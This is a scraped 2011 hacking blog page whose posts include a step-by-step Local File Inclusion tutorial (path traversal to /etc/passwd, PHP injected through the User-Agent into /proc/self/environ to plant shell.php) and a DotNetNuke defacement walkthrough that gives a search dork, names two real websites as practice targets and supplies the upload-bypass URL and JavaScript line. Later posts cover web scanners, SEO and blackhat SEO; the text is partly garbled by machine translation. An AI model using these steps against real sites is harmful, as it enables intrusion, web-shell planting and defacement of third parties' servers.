environ

10/30/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMjbYwWDfqkxa_gTF83wYEqKY1l2bwgA136U7N3JiX01cXuy-cyHYcqmXKZLHkJnrg0JbvVXqxhCZ0pkVaZM5qjDYC-u80FWy1lM3AiC4rQs_mjyr6qtYnhAPyT4bbWVPxRqLmuUT-xNh-/s1600/lfi+shell.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMjbYwWDfqkxa_gTF83wYEqKY1l2bwgA136U7N3JiX01cXuy-cyHYcqmXKZLHkJnrg0JbvVXqxhCZ0pkVaZM5qjDYC-u80FWy1lM3AiC4rQs_mjyr6qtYnhAPyT4bbWVPxRqLmuUT-xNh-/s320/lfi+shell.jpg" width="320" /></a></div>
<br />
<div class="para">
1 - Introduction<br />
2 - Discovery LFI<br />
3 - check if / proc / self / environ is accessible<br />
4 - malicious code injection<br />
5 - Access to the shell<br />
6 - Thanks<br />
<br />
<h3>
>> 1 - Introduction</h3>
<br />
In this tutorial I will show how to obtain a shell on a site using your Local File Inclusion and<br />
injecting malicious code in proc / self / environ.Este a tutorial that explains everything step by step.<br />
<br />
<h3>
>> 2 - Discovery LFI</h3>
<br />
- Now a site to find a vulnerable target to Local File <a href="http://inclusion.am/&t=ANT-2vyV6xI0BQ6QZt6MCFMkk1WGnFzI3BVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">Inclusion.Am</a> found to verify<br />
<br />
<a href="http://www.website.com/view.php?page%3Dcontact.php&amp" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com/view.php?page=contact.php</a><br />
<br />
- Now to replace contact.php with .. / and the URL will become<br />
<br />
<a href="http://www.website.com/view.php?page%3D../" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com/view.php?page=../</a><br />
<br />
and have an error.<br />
<br />
Warning: include (../) [function.include]: failed to open stream: No such file or directory in / home / sirgod / public_html / <a href="http://website.com/" style="color: #02679c; text-decoration: none;" target="_blank">website.com</a> / view.php on line 1337 good chance to have a vulnerability type Local File <a href="http://inclusion.sa/" style="color: #02679c; text-decoration: none;" target="_blank">Inclusion.Sa</a> move on.</div>
<br />
<div class="listitem">
- Check if we can access the <br />
<div class="highlight">
etc/passwd </div>
to see if it is vulnerable to Local File <a href="http://inclusion.sa/" style="color: #02679c; text-decoration: none;" target="_blank">Inclusion.Sa</a>make a request:<br />
<br />
<a href="http://www.website.com/view.php?page%3D../../../etc/passwd" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com/view.php?page=../../../etc/passwd</a><br />
<br />
have an error and the file etc / passwd is not included.<br />
<br />
Warning: include (../) [function.include]: failed to open stream: No such file or directory in / home / sirgod / public_html / <a href="http://website.com/" style="color: #02679c; text-decoration: none;" target="_blank">website.com</a> / view.php on line 1337 climbed some directors<br />
<br />
<a href="http://www.website.com/view.php?page%3D../../../../../etc/passwd" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com/view.php?page=../../../../../etc/passwd</a><br />
<br />
We successfully included file etc / passwd.<br />
<div class="content shadow-radial">
root: x: 0:0: root: / root: / bin / bash bin: x: 1:1: bin: / bin: / sbin / Nologin daemon: x: 2:2: daemon: / sbin: / sbin / Nologin adm: x: 3:4: adm: / var / adm: / sbin / Nologin<br />
<br />
lp: x: 4:7: lp: / var / spool / lpd: / sbin / Nologin sync: x: 5:0: sync: / sbin: / bin / sync shutdown: x: 6:0: shutdown: / sbin : / sbin / shutdown halt: x: 7:0: halt: / sbin: / sbin / halt<br />
<br />
mail: x: 8:12: mail: / var / spool / mail: / sbin / Nologin news: x: 9:13: news: / etc / news: UUCP: x: 10:14: UUCP: / var / spool / UUCP: / sbin / Nologin<br />
<br />
operator: x: 11:0: operator: / root: / sbin / Nologin games: x: 12:100: games: / usr / games: / sbin / Nologin test: x: 13:30: test: / var / test : / sbin / Nologin ftp:x:14:50:FTP<br />
User: / var / ftp: / sbin / Nologin nobody: x: 99:99: Nobody: /: / sbin / Nologin</div>
</div>
<br />
<h3>
>> 3 - check if / proc / self / environ is accessible</h3>
<br />
- Now to see if / proc / self / environ is accesibil.O to replace etc / passwd with / proc / self / environ<br />
<br />
<a href="http://www.website.com/view.php?page%3D../../../" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com/view.php?page=../../../</a> ... LF / environ<br />
<br />
If you get something like<br />
<div class="content shadow-radial">
DOCUMENT_ROOT = / home / sirgod / public_html GATEWAY_INTERFACE = CGI/1.1 HTTP_ACCEPT = text / html, application / xml, q = 0.9, application / xhtml + xml, image / png,<br />
<br />
image / jpeg, image / gif, image / x-xbitmap, * / *, q = 0.1 PHPSESSID = HTTP_COOKIE = HTTP_HOST =<a href="http://www.website.com/" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com</a> 134cc7261b341231b9594844ac2ad7ac<br />
<br />
http://<a href="http://www.website.com/index.php?view%3D../../../../../../etc/passwd" style="color: #02679c; text-decoration: none;" target="_blank">Http://www.website.com/index.php?view=../../../../../../etc/passwd</a> HTTP_REFERER = HTTP_USER_AGENT = Opera/9.80 (Windows NT 5.1, U , en) Presto/2.2.15<br />
<br />
Version/10.00 PATH = / bin: / usr / bin QUERY_STRING = view =..% 2F ..% 2F ..% 2F ..% 2F ..% 2F ..% 2Fproc% 2Fself% 2Fenviron REDIRECT_STATUS = 200 REMOTE_ADDR = 6x .1 xx.4x.1xx<br />
<br />
REMOTE_PORT = 35665 REQUEST_METHOD = GET REQUEST_URI = / index.php? View =..% 2F ..% 2F ..% 2F ..% 2F ..% 2F ..% 2Fproc% 2Fself% 2Fenviron<br />
<br />
SCRIPT_FILENAME = / home / sirgod / public_html / index.php SCRIPT_NAME = / index.php SERVER_ADDR = 1xx.1xx.1xx.6x SERVER_ADMIN = <a href="mailto:webmaster@website.com">webmaster@website.com</a><br />
<br />
SERVER_NAME = <a href="http://www.website.com/" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com</a> SERVER_PORT = 80 SERVER_PROTOCOL = HTTP/1.0 SERVER_SIGNATURE =<br />
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV / 2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at <a href="http://www.website.com/" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com</a> Port 80</div>
proc / self / environ is accesibil.Daca get a blank page, an error means it is not accessible or operating system is FreeBSD.<br />
<br />
<br />
<h3>
>> 4 - malicious code injection</h3>
<br />
- Now let us inject malicious code in proc / self / environ.Cum we do this? Inject code in HTTP User-Agent header.<br />
Use Tamper Data addon's for Firefox to change User-Agent-ul.Porniti Tamper date and make a request to the URL:<br />
<br />
<a href="http://www.website.com/view.php?page%3D../../../" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com/view.php?page=../../../</a> ... LF / environ<br />
<br />
Choose Tamper and User-Agent field write the following code:<br />
<br />
A shell.php available @ ;?><br />
<br />
Then, submit the request.<br />
<br />
Our command will be executed in<br />
through function system (), and our shell will be creat.Daca does not work, try exec () because system () can be<br />
restricted on a server in php.ini<br />
<br />
<h3>
>> 5 - Access to the shell</h3>
<br />
- Now check if our code has been injected with malicious <a href="http://succes.sa/" style="color: #02679c; text-decoration: none;" target="_blank">succes.Sa</a> see if the shell is present.<br />
<br />
<a href="http://www.website.com/" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com</a> / shell.php<br />
<br />
Shell was successful.<br />
<br />
i hope you enjoy!!!<br />
</div>

1 - Introduction 2 - Discovery LFI 3 - check if / proc / self / environ is accessible 4 - malicious code injection 5 - Access to th...

Hack Website Using DNN [Dot Net Nuke] Exploit

10/25/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEOlAHxQVzBG9xgDW6ao9teTPGEjyUjZOEu7gCwSUV3tUHS0Tnz_P_oX5dq5k766LqaifOZlsH0mQlie96lntu-D7qQXQ0hxEN8moSiB_o7X9hSNjTjDVuhLks8BFIEzneTh4PPFHyMhI/s1600/dotnetnuke-large.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="87" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEOlAHxQVzBG9xgDW6ao9teTPGEjyUjZOEu7gCwSUV3tUHS0Tnz_P_oX5dq5k766LqaifOZlsH0mQlie96lntu-D7qQXQ0hxEN8moSiB_o7X9hSNjTjDVuhLks8BFIEzneTh4PPFHyMhI/s1600/dotnetnuke-large.gif" width="320" /></a></div>
<br />
<div class="post-body entry-content">
Using google DORK try to find the vulnerable website.<br />
<br />
<b>inurl:"/portals/0"</b><br />
<br />
You can also modify this google dork according to your need & requirement.I have found these 2 website vulnerable to this attack:<br />
<br />
<a href="http://www.wittur.se/">http://www.wittur.se/</a><br />
<a href="http://www.bsd405.org/">http://www.bsd405.org/</a><br />
<br />
n00bs can also try both of these websites for testing purpose.Open the home page and check any image which is located in <b>/portals/0/</b>Check the location of the image. It should be located in <b>/portals/0/</b><br />
<br />
For e.g. in case of <a href="http://www.wittur.se/">http://www.wittur.se</a> ..the image is located at location- <a href="http://www.wittur.se/Portals/0/SHM.jpg">http://www.wittur.se/Portals/0/SHM.jpg</a><br />
<br />
Waaooo it means this website is vulnerable and we can change the front page pic. Now the current image name is SHM.jpg. Rename the new image as SHM.jpg which you want to upload as a proof of you owned the system.<br />
<br />
Now here is the exploit<br />
<br />
<b>Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx</b><br />
<br />
<b>HOW TO RUN ?</b><br />
Simply copy paste it as shown below:<br />
<br />
<a href="http://www.site.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx">www.site.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx</a><br />
<br />
You will see the portal where it will ask you to upload. Select the third option <b>File ( A File On Your Site</b><br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyivlTA96p8SVSh0zoTMd77LtT77BUAVLq2WRfM3gLrGG8LeNbGDLfOYY4nBSQSP73TYVbvt8Q2PjlxEF6FPgMbCxjIRYt0x3iQ_hfPwCLp5R8xI9ofa9op1Vg75buViwO3f1Wf2GVhMA/s1600/1.JPG" style="color: #3778cd; text-decoration: none;"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5498613501494723714" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyivlTA96p8SVSh0zoTMd77LtT77BUAVLq2WRfM3gLrGG8LeNbGDLfOYY4nBSQSP73TYVbvt8Q2PjlxEF6FPgMbCxjIRYt0x3iQ_hfPwCLp5R8xI9ofa9op1Vg75buViwO3f1Wf2GVhMA/s400/1.JPG" style="background-color: transparent; border: 1px solid transparent; display: block; height: 273px; margin: 0px auto 10px; padding: 8px; position: relative; text-align: center; width: 400px;" /></a><br />
After selecting the third option, replace the URL bar with below script<br />
<b>javascript:__doPostBack('ctlURL$cmdUpload','')</b><br />
<br />
After running this JAVA script, you will see the option for <b>Upload Selected File. </b>Now select you image file which you have renamed as SHM.jpg & upload here. Go to main page and refresh...<b>BINGGOOOOOOOOOOOO you have hacked the website.</b><br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXdSc71TaPWUymCeu8Rvx67VaKbViBjbaTgM0ZcWbHk7bX3MoiiLOdjFI_ek2x_X1xgAADyoS-CtU4hqMUED8Dv3QQiIvBvwz81iKB8PWFgFgQQNPpkeFAM7y2CF6066zR_tPU_D5rrWU/s1600/2.JPG" style="color: #3778cd; text-decoration: none;"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5498613494553959698" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXdSc71TaPWUymCeu8Rvx67VaKbViBjbaTgM0ZcWbHk7bX3MoiiLOdjFI_ek2x_X1xgAADyoS-CtU4hqMUED8Dv3QQiIvBvwz81iKB8PWFgFgQQNPpkeFAM7y2CF6066zR_tPU_D5rrWU/s400/2.JPG" style="background-color: transparent; border: 1px solid transparent; cursor: pointer; display: block; height: 286px; margin: 0px auto 10px; padding: 8px; position: relative; text-align: center; width: 400px;" /></a><br />
<br />
</div>
</div>

DNN Dot Net Hacking Hacking Tutorials Tutorials Hack Website Using DNN [Dot Net Nuke] Exploit

Using google DORK try to find the vulnerable website. inurl:"/portals/0" You can also modify this google dork according t...

Top 20 Scan Method : Hacking Web Servers

10/18/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1Mi4_Piz6L2a28myUdNYN9NuVOf_1STW7fvzya6BgrklotlfXyw2rr4Hg-B4MwE3MEJh2d0wtrMBomJ2QsQfpx-gxuNLEmdFCM-8lCtw9Hjty2lj-MmLe78Aso3Rex5zLFbV6XcbZoG5l/s1600/hp-webinspect.jpg" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="484" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1Mi4_Piz6L2a28myUdNYN9NuVOf_1STW7fvzya6BgrklotlfXyw2rr4Hg-B4MwE3MEJh2d0wtrMBomJ2QsQfpx-gxuNLEmdFCM-8lCtw9Hjty2lj-MmLe78Aso3Rex5zLFbV6XcbZoG5l/s640/hp-webinspect.jpg" width="640" /></a></div>
<br />
<br />
This method will scan the web server for the top 20 vulnerabilities list published by SANS/FBI (<a class="url" href="http://www.sans.org/" style="color: #3778cd; text-decoration: none;" target="_top">www.sans.org</a>)<br />
<div class="post-body entry-content" style="line-height: 1.4; position: relative;">
<div>
<h3>
Hacking Tool: WebInspect</h3>
<ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;">
<li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
WebInspect is an impressive Web server and application-level vulnerability scanner which scans over 1500 known attacks.</div>
</li>
<li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
It checks site contents and analyzes for rudimentary application-issues like smart guesswork checks, password guessing, parameter passing, and hidden parameter checks.</div>
</li>
<li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
It can analyze a basic Webserver in 4 minutes cataloging over 1500 HTML pages</div>
</li>
</ul>
</div>
<div>
<div class="para">
WebInspect enables application and web services developers to automate the discovery of security vulnerabilities as they build applications, access detailed steps for remediation of those vulnerabilities and deliver secure code for final quality assurance testing.</div>
<div class="para">
With WebInspect, the developer can find and correct vulnerabilities at their source, before attackers can exploit them. WebInspect provides the technology necessary to identify vulnerabilities at the next level, the Web application.</div>
</div>
<div>
<h3>
Network Tool: Shadow Security Scanner</h3>
<div class="first-para">
<a class="url" href="http://www.safety-lab.com/" style="color: #3778cd; text-decoration: none;" target="_top">http://www.safety-lab.com</a></div>
<ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;">
<li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
Security scanner is designed to identify known and unknown vulnerabilities, suggest fixes to identified vulnerabilities, and report possible security holes within a network's internet, intranet and extranet environments.</div>
</li>
<li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
Shadow Security Scanner includes vulnerability auditing modules for many systems and services.</div>
<div class="last-para">
These include NetBIOS, HTTP, CGI and WinCGI, FTP, DNS, DoS vulnerabilities, POP3, SMTP,LDAP,TCP/IP, UDP, Registry, Services, Users and accounts, Password vulnerabilities, publishing extensions, MSSQL,IBM DB2, Oracle, MySQL, PostgressSQL, Interbase, MiniSQL and</div>
</li>
</ul>
</div>
<div>
<div class="para">
These include NetBIOS, HTTP, CGI and WinCGI, FTP, DNS, DoS vulnerabilities, POP3, SMTP, LDAP, TCP/IP, UDP, Registry, Services, Users and accounts, Password vulnerabilities, publishing extensions, MSSQL, IBM DB2, Oracle, MySQL, PostgressSQL, Interbase, MiniSQL and more.</div>
<div class="para">
Running on its native Windows platform, SSS also scans servers built practically on any platform, successfully revealing vulnerabilities in Unix, Linux, FreeBSD, OpenBSD, Net BSD, Solaris and, of course, Windows 95/98/ME/NT/2000/XP/.NET. Because of its unique architecture, SSS is the able to detect faults with CISCO, HP, and other network equipment. It is also capable of tracking more than 2,000 audits per system.</div>
<div class="para">
The Rules and Settings Editor will be essential for the users willing only to scan the desired ports and services without wasting time and resources on scanning other services. Flexible tuning lets system administrators manage scanning depth and other options to make benefit of speed - optimized network scanning without any loss in scanning quality.</div>
</div>
<div>
<h3>
Countermeasures</h3>
<ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;">
<li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
IISLockdown:</div>
<ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;">
<li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
IISLockdown restricts anonymous access to system utilities as well as the ability to write to Web content directories.</div>
</li>
<li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
It disables Web Distributed Authoring and Versioning (WebDAV).</div>
</li>
<li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
It installs the URLScan ISAPI filter.</div>
</li>
</ul>
</li>
<li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
URLScan:</div>
<ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;">
<li class="first-listitem" style="border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
URLScan is a security tool that screens all incoming requests to the server by filtering the requests based on rules that are set by the administrator.</div>
</li>
</ul>
</li>
</ul>
</div>
<div>
UrlScan is a security tool that screens all incoming requests to the server by filtering the requests based on rules that are set by the administrator. Filtering requests helps secure the server by ensuring that only valid requests are processed. UrlScan helps protect Web servers because most malicious attacks share a common characteristic they involve the use of a request that is unusual in some way. For instance, the request might be extremely long, request an unusual action, be encoded using an alternate character set, or include character sequences that are rarely seen in legitimate requests. By filtering unusual requests, UrlScan helps prevent such requests from reaching the server and potentially causing damage.</div>
<div>
<br /></div>
<div>
<h3>
Summary</h3>
<ul class="itemizedlist" style="line-height: 1.4; list-style-type: disc; margin: 0.5em 0px; padding: 0px 2.5em;">
<li class="first-listitem" style="border-bottom: 1px none transparent; border-style: none; color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
Web servers assume critical importance in the realm of Internet security.</div>
</li>
<li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
Vulnerabilities exist in different releases of popular web servers and respective vendors patch these often.</div>
</li>
<li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
The inherent security risks owing to compromised web servers have impact on the local area networks that host these web sites, even the normal users of web browsers.</div>
</li>
<li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
Looking through the long list of vulnerabilities that had been discovered and patched over the past few years provide an attacker ample scope to plan attacks to unpatched servers.</div>
</li>
<li class="listitem" style="border-bottom: 1px none transparent; border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
Different tools/exploit codes aids an attacker perpetrate web server hacking.</div>
</li>
<li class="listitem" style="border-style: none; border-top: 1px none rgb(238, 238, 238); color: #444444; margin: 0px 0px 0.25em; padding: 0.25em 0px; text-indent: 0px;">  <div class="first-para">
Countermeasures include scanning, for existing vulnerabilities and patching them immediately, anonymous access restriction, incoming traffic request screening and filtering.</div>
</li>
</ul>
</div>
<br /></div>
</div>

Hacking Hacking Tools Top 20 Scan Method : Hacking Web Servers

This method will scan the web server for the top 20 vulnerabilities list published by SANS/FBI ( www.sans.org ) Hacking Tool: WebIn...

How to Analysis your website for search engine optimization

10/15/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"></span><br />
<div class="post-body entry-content" style="line-height: 1.4; position: relative;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1021345782451358540"></span></span><br />
<div>
<div>
<div>
<div style="text-align: center;">
<div class="separator" style="clear: both; text-align: center;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1021345782451358540"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSUfFC72BFHplq5Za9XStWI4itt29U9EBeODywahLi0xnfczP90M219U4S63LdAE_TITGkbfFjPTCh1_dBeicvmol8JSaNbiMBfdC46lEjBiZOmRwHlmCIS1aG4XVFDoSU9g8XtBmrfIej/s1600/seo+process.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="387" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSUfFC72BFHplq5Za9XStWI4itt29U9EBeODywahLi0xnfczP90M219U4S63LdAE_TITGkbfFjPTCh1_dBeicvmol8JSaNbiMBfdC46lEjBiZOmRwHlmCIS1aG4XVFDoSU9g8XtBmrfIej/s400/seo+process.jpg" width="400" /></a></span></span></div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1021345782451358540"><b><br />
</b></span></span></div>
<ol>
<li style="margin: 0px 0px 0.25em; padding: 0px; text-align: left; text-indent: 0px;"><span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1021345782451358540">  If Web page has a "0" Google™ PageRank™. PageRank™ denotes a Website's importance in the eyes of Google™.</span></span></li>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1021345782451358540">
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  Fact: If you are not on the first page of search results, over 60% of Internet users will not find you!</li>
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  If Title Tag contains too many characters for what we consider a "robot friendly" Web page. The maximum number of characters we recommend for this Tag is 60.</li>
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  Fact: Alll major search engines including Google, Yahoo!, Scrub The Web, MSN Bing and others utilize Meta Tags! Don't take our word for it</li>
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  If Meta Description Tag contains too many characters for what we consider a "robot friendly" Web page. The maximum number of characters we recommend for this Tag is 150.</li>
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  Fact: Having search engine friendly Title and Meta Tags is the most basic step toward search engine optimization (SEO)</li>
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  For The Meta Keywords Tag. Our recommended maximum number of characters for this tag is 874. Although we would never recommend you use this entire allowance because you may then suffer from keyword saturation.</li>
</span></span></ol>
</div>
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1021345782451358540"><b>Myth:</b> "Nobody needs search engine optimization."</span></span></div>
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1021345782451358540"><br />
</span></span></div>
<div>
</div>
<div>
</div>
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1021345782451358540"><b>Truth:</b> More than 80% of Internet users use search engines to find what they are looking for. Therefore any Website wanting new visitors needs search engine optimization.</span></span></div>
<div>
</div>
<div>
</div>
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1021345782451358540"><b><br />
</b></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1021345782451358540"><b>Myth:</b> "Submitting to search engines means everyone on the Internet will find you."</span></span></div>
<div>
</div>
<div>
</div>
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1021345782451358540"><b><br />
</b></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1021345782451358540"><b>Truth:</b> People are not going to find you in search engines just because you submitted to them. If you truly want to capture your fair share and more of search engine traffic, you must optimize your Web pages. SEO plays an important role in your ability to succeed on the Internet.</span></span></div>
</div>
</div>
</div>
<br />
<br /></div>

SEO How to Analysis your website for search engine optimization

If Web page has a "0" Google™ PageRank™. PageRank™ denotes a Website's importance in the eyes of Google™. F...

Blackhat SEO techniques Quick guide

10/15/2011 rahlabs 1

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnaf05KDz0g60T4MahhU21Ij0FsI7TNmMQkcYOTiskDi92C1YvhLx3AMFvxZ7yIi-yda-LifaOnvamiZshpU_ztaO0IkoJQky5YB_isSyx1GhvEqDcqCpNNQ9vJPjE27XNxr5hWjW_meHa/s1600/blackhat+seo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnaf05KDz0g60T4MahhU21Ij0FsI7TNmMQkcYOTiskDi92C1YvhLx3AMFvxZ7yIi-yda-LifaOnvamiZshpU_ztaO0IkoJQky5YB_isSyx1GhvEqDcqCpNNQ9vJPjE27XNxr5hWjW_meHa/s1600/blackhat+seo.jpg" /></a></div>
<br />
<b>Blackhat search engine optimisation (SEO) techniques </b>describe the process by which individuals trick the search engines into ranking one of their malicious web pages high up in the search engine result listings.<br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"></span><br />
<div class="post-body entry-content" style="line-height: 1.4; position: relative; width: 506px;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="4573832142216931045"> <br />
These techniques have been used aggressively by malware authors because they provide a very effective way of controlling user web traffic:<br />
</span></span><br />
<ol>
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;"><span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="4573832142216931045">  use a kit to create the keyword-rich web SEO pages on popular topics</span></span></li>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="4573832142216931045">
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  search engine bots then index these pages</li>
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">  users searching for these topics end up with links to the rogue SEO pages high up in the search engine results</li>
